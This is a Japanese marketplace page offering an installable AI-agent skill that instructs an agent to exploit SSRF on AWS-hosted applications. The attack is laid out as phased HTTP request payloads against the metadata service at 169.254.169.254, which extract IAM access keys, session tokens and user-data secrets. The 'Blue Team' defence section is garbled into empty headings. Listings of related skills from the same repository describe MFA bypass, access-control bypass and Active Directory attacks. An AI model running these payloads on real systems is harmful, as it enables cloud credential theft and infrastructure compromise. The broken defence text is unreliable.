本文へ移動
cccskills
無料GitHub で公開

aws-metadata-ssrf

Exploit Server-Side Request Forgery (SSRF) vulnerabilities in applications hosted on AWS EC2 instances to extract IAM credentials and User Data from the Instance Metadata Service (IMDS). This skill covers techniques for bypassing basic filters to access IMDSv1 and concepts of IMDSv2.

インストール方法を見る

含まれるファイル(3)

  • SKILL.md4.2 KB
  • evals/evals.json520 B
  • scripts/process.py7.8 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

AWS IMDS SSRF Exploitation

When to Use

  • During a penetration test of a web application hosted on AWS EC2 or ECS that exhibits SSRF vulnerabilities.
  • To demonstrate impact by escalating from a web vulnerability to AWS cloud infrastructure compromise via IAM credential theft.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying the SSRF

# Concept: Test the target application for SSRF GET /fetch_url?url=http://example.com HTTP/1.1
Host: target.app

Phase 2: Querying AWS IMDSv1

# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: target.app

Phase 3: Extracting IAM Roles and Credentials

# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1

# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole HTTP/1.1

(The response will contain a JSON object with AccessKeyId, SecretAccessKey, and Token)

Phase 4: Accessing User Data

# # GET /fetch_url?url=http://169.254.169.254/latest/user-data HTTP/1.1

(User Data often contains sensitive initialization scripts, database passwords, or API keys).

Decision Point 🔀

flowchart TD
    A[Send IMDS Payload ] --> B{Response 200 OK? }
    B -->|Yes| C[Extract Data ]
    B -->|No/401| D[IMDSv2 Enforced? ]
    C --> E[Configure AWS CLI ]

🔵 Blue Team Detection & Defense

  • Migrate to IMDSv2: Network Restrictions: Least Privilege IAM: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Aws Metadata Ssrf — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

ShulkwiSEC のスキルをすべて見る

このスキルの問題を報告する